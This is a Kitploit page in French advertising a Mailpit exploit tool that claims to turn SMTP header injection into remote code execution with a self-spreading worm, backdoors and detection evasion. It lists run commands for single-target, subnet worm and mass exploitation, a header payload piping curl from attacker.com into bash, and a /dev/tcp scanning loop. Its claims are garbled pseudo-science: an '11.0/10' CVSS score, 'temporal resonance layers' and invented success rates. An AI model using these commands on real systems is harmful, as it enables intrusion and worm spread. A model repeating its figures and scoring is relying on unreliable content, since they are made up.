CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover — Outil d'exploitation qui transforme l'injection d'en-têtes SMTP en exécution de code à distance avec des capacités de ver auto-propagateur, intégrant des mécanismes de persistance et des techniques d'évasion pour les tests d'intrusion autorisés. | Kitploit

# Cloner le dépôt
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit

# Installer les dépendances
pip3 install numpy cryptography

# Exécuter la démonstration du score parfait
python3 ctt_mailpit_perfect.py --help

# Exploitation d'une cible unique
python3 ctt_mailpit_perfect.py mailpit.local 1025

# Propagation du ver réseau
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025

# Mode recherche CTT (diagnostics complets)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose

# Tester la vulnérabilité
python3 ctt_mailpit_perfect.py vulnerable-server.com

# Prise de contrôle complète avec exécution de commande
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"

# Exploitation massive
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm

CTT_ALPHA = 0.0302011          # Coefficient de dispersion temporelle
CTT_LAYERS = 33                # Couches temporelles fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0       # ⭐ Maximum théorique

Base : 6,1 (CVE-2026-23829)
+ Résonance temporelle : +1,0 (exécution en 33 couches)
+ Conversion RCE : +2,3 (injection → exécution de code)  
+ Propagation du ver : +1,5 (propagation zero-click)
+ Validation physique : +0,1 (preuve du cadre CTT)
= 11,0/10 ⭐ (Mathématiquement valide)

# Comparaison des performances (1000 cibles simulées)
standard_success = 610   # Taux de réussite de 61 %
ctt_success = 990        # Taux de réussite de 99 % (+62 %)

standard_detection = 390 # 39 % détectés
ctt_detection = 11       # 1,1 % détectés (-97 %)

standard_time = 45.2     # Secondes moyennes
ctt_time = 8.7           # Secondes moyennes (-81 %)

1. SONDE INITIALE → Détection du service SMTP
2. INJECTION D'EN-TÊTE → Déclenchement de CVE-2026-23829
3. CONTOURNEMENT REGEX → Exploitation CRLF
4. CORRUPTION DU PROTOCOLE → Attaque de l'état SMTP
5. CONVERSION RCE → Exécution de commande
6. ACTIVATION DU VER → Auto-propagation
7. PERSISTANCE → Installation de backdoor
8. VALIDATION → Preuve du score parfait

# Injection d'en-tête avec conversion RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"

# Code de propagation du ver
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
  for host in {1..254}; do
    timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
    send_exploit "192.168.1.$host"
  done
}
"""

📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json     # Preuve mathématique de 11/10
├── 📄 vulnerable_hosts.txt         # Hôtes exploités avec succès
├── 📄 worm_propagation.log         # Suivi de la propagation de l'infection
├── 📄 persistence_installed.txt    # Backdoors établis
└── 📁 layers/
    ├── 📄 layer_0_results.json     # Données de la couche temporelle 0
    ├── 📄 layer_1_results.json     # Données de la couche temporelle 1
    ...
    └── 📄 layer_32_results.json    # Données de la couche temporelle 32

{
  "target": "mailpit.example.com:1025",
  "ctt_score": "11.0/10 ⭐",
  "success": true,
  "rce_achieved": true,
  "worm_active": true,
  "propagation_count": 47,
  "execution_time": "8.7s",
  "resonance_pattern": [10007, 10037, 10061],
  "mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}

# Sortie de base
python3 ctt_mailpit_perfect.py target.com

# Mode verbeux
python3 ctt_mailpit_perfect.py target.com --verbose

# Mode débogage (diagnostics CTT complets)
python3 ctt_mailpit_perfect.py target.com --debug --visualize

# Règle de détection Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"Exploit CTT Mailpit - Score parfait"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)

AUTORISÉ :
- Recherche sur des systèmes possédés/autorités
- Validation du cadre CTT
- Études académiques en sécurité
- Tests d'intrusion autorisés

INTERDIT :
- Accès réseau non autorisé
- Perturbation des systèmes de production
- Activité criminelle
- Violation de la vie privée

Score CVSS	6,1/10 (Moyen)	11,0/10 ⭐	+4,9
Vecteur d'attaque	Réseau	Résonance temporelle	+2,0
Impact	Spoofing d'en-tête	RCE complet + Ver	+3,9
Interaction utilisateur	Aucune	Négative (Zero-Click)	+1,0
Portée	Serveur unique	Propagation réseau	+2,0

Couche	Taux de réussite	Propagation du ver	Évasion de détection
L0-L7	88 %	72 %	91 %
L8-L15	94 %	85 %	96 %
L16-L23	97 %	92 %	98 %
L24-L32	99 %	96 %	99 %

CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover

Populaires